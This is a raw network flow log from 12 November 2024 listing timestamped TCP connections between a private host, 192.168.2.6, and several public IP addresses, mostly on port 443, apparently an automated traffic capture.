Nov 12, 2024 13:35:20.206549883 CET	49752	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.206556082 CET	443	49752	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.209176064 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.209187984 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.209256887 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.209414959 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.209425926 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.214375019 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.215099096 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.215157986 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.215173960 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.215188026 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.215194941 CET	49753	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.215199947 CET	443	49753	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.217050076 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.217091084 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.217158079 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.217261076 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.217278957 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.272061110 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.272388935 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.272445917 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.272490025 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.272495985 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.272505999 CET	49755	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.272510052 CET	443	49755	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.272948980 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.273008108 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.273065090 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.273309946 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.273324966 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.273335934 CET	49754	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.273339987 CET	443	49754	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.275214911 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275224924 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.275276899 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275505066 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275533915 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.275599003 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275624990 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275635004 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.275867939 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.275882006 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.287189007 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.287378073 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.287431002 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.287473917 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.287487984 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.287497997 CET	49756	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.287503958 CET	443	49756	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.289412022 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.289422989 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.289504051 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.289611101 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.289622068 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.375458002 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:20.375467062 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:20.375528097 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:20.376534939 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:20.376545906 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:20.434978962 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:20.435004950 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:20.435062885 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:20.435259104 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:20.435276985 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:20.892911911 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.893187046 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.893215895 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.894284010 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.894370079 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.895303011 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.895370007 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.931359053 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.931848049 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.931858063 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.932276964 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.932281971 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.947989941 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:20.948007107 CET	443	49759	142.250.186.132	192.168.2.6
Nov 12, 2024 13:35:20.952799082 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.953181028 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.953192949 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.953603983 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:20.953608990 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:20.994853020 CET	49759	443	192.168.2.6	142.250.186.132
Nov 12, 2024 13:35:21.002521038 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.002871037 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.002881050 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.003292084 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.003297091 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.010270119 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.010868073 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.010875940 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.011354923 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.011358023 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.019674063 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.019999027 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.020008087 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.020447969 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.020452023 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.060870886 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.060937881 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.061116934 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.061316013 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.061326027 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.061353922 CET	49761	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.061358929 CET	443	49761	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.063834906 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.063859940 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.063937902 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.064049959 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.064064026 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.093815088 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.093867064 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.093954086 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.094047070 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.094063044 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.094073057 CET	49762	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.094078064 CET	443	49762	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.096281052 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.096312046 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.096385002 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.096491098 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.096507072 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.143517017 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.143560886 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.143610954 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.143842936 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.143847942 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.143862963 CET	49763	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.143867016 CET	443	49763	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.146174908 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.146199942 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.146279097 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.146413088 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.146424055 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.149596930 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.149775028 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.149836063 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.149859905 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.149867058 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.149895906 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.149902105 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.151712894 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.151731968 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.151907921 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.152038097 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.152054071 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.173501015 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.173652887 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.173804045 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.173866987 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.173872948 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.173883915 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.173887968 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.176863909 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.176872969 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.177000999 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.177325010 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.177335024 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.227581024 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.227660894 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.229119062 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.229124069 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.229357958 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.276110888 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.286748886 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.298258066 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.298526049 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.298537016 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.299577951 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.299628973 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.300791979 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.300857067 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.300992966 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.301000118 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.327332973 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.347887993 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.353542089 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:21.353914022 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:21.358295918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:21.358748913 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:21.358931065 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:21.362528086 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:21.367417097 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:21.394007921 CET	49705	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:21.394093990 CET	49705	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:21.394566059 CET	49779	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:21.394577980 CET	443	49779	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:21.394690037 CET	49779	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:21.395085096 CET	49779	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:21.395096064 CET	443	49779	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:21.398945093 CET	443	49705	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:21.398956060 CET	443	49705	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:21.429387093 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:21.429435015 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:21.429481030 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:21.429833889 CET	49780	443	192.168.2.6	142.250.185.206
Nov 12, 2024 13:35:21.429846048 CET	443	49780	142.250.185.206	192.168.2.6
Nov 12, 2024 13:35:21.530807018 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.530854940 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.530934095 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.531034946 CET	49766	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.531049967 CET	443	49766	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.547081947 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547132969 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547173023 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547220945 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.547230005 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547285080 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.547303915 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547687054 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.547751904 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.547760010 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.555582047 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.555635929 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.555644035 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.562266111 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.562308073 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.562402010 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.562828064 CET	49782	443	192.168.2.6	184.28.90.27
Nov 12, 2024 13:35:21.562841892 CET	443	49782	184.28.90.27	192.168.2.6
Nov 12, 2024 13:35:21.604007006 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.604012966 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.650878906 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.666177988 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.666286945 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.666321993 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.666327953 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.667243958 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.667330027 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.667335987 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.675399065 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.675450087 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.675457001 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.680430889 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.680479050 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.680485964 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.729011059 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.729017019 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.775898933 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.785609007 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.785708904 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.785855055 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.785861969 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.786288977 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.786330938 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.786336899 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.795167923 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.795214891 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.795221090 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.803602934 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.803652048 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.803657055 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.823376894 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.824568987 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.824579954 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.825125933 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.825130939 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.829272032 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.829600096 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.829611063 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.829983950 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.829988956 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.845907927 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.845958948 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.845968008 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.883936882 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.884344101 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.884351015 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.884799004 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.884803057 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.886671066 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.891602039 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.892205954 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.892227888 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.892695904 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.892700911 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.904433012 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.904567957 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.904611111 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.904616117 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.905503988 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.905551910 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.905556917 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.905570030 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.906254053 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.906264067 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.906694889 CET	49775	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.906697989 CET	443	49775	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.910172939 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.910228014 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.910233974 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.918683052 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.918724060 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.918731928 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.958724022 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.959125996 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.959180117 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.959368944 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.959450960 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.959501028 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.963339090 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.964909077 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.965040922 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.965082884 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:21.965095043 CET	443	49768	172.217.18.14	192.168.2.6
Nov 12, 2024 13:35:21.980230093 CET	49771	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.980237007 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.980240107 CET	443	49771	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.980266094 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.980279922 CET	49772	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.980287075 CET	443	49772	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.986057043 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986079931 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.986159086 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986574888 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986587048 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.986673117 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986890078 CET	49783	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986901045 CET	443	49783	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:21.986915112 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:21.986924887 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.010200024 CET	49768	443	192.168.2.6	172.217.18.14
Nov 12, 2024 13:35:22.014743090 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.014888048 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.014944077 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.015007973 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.015007973 CET	49773	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.015014887 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.015022993 CET	443	49773	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.016864061 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.016887903 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.017142057 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.017260075 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.017268896 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.022238016 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.022310972 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:22.022357941 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:22.022468090 CET	49774	443	192.168.2.6	13.107.246.45
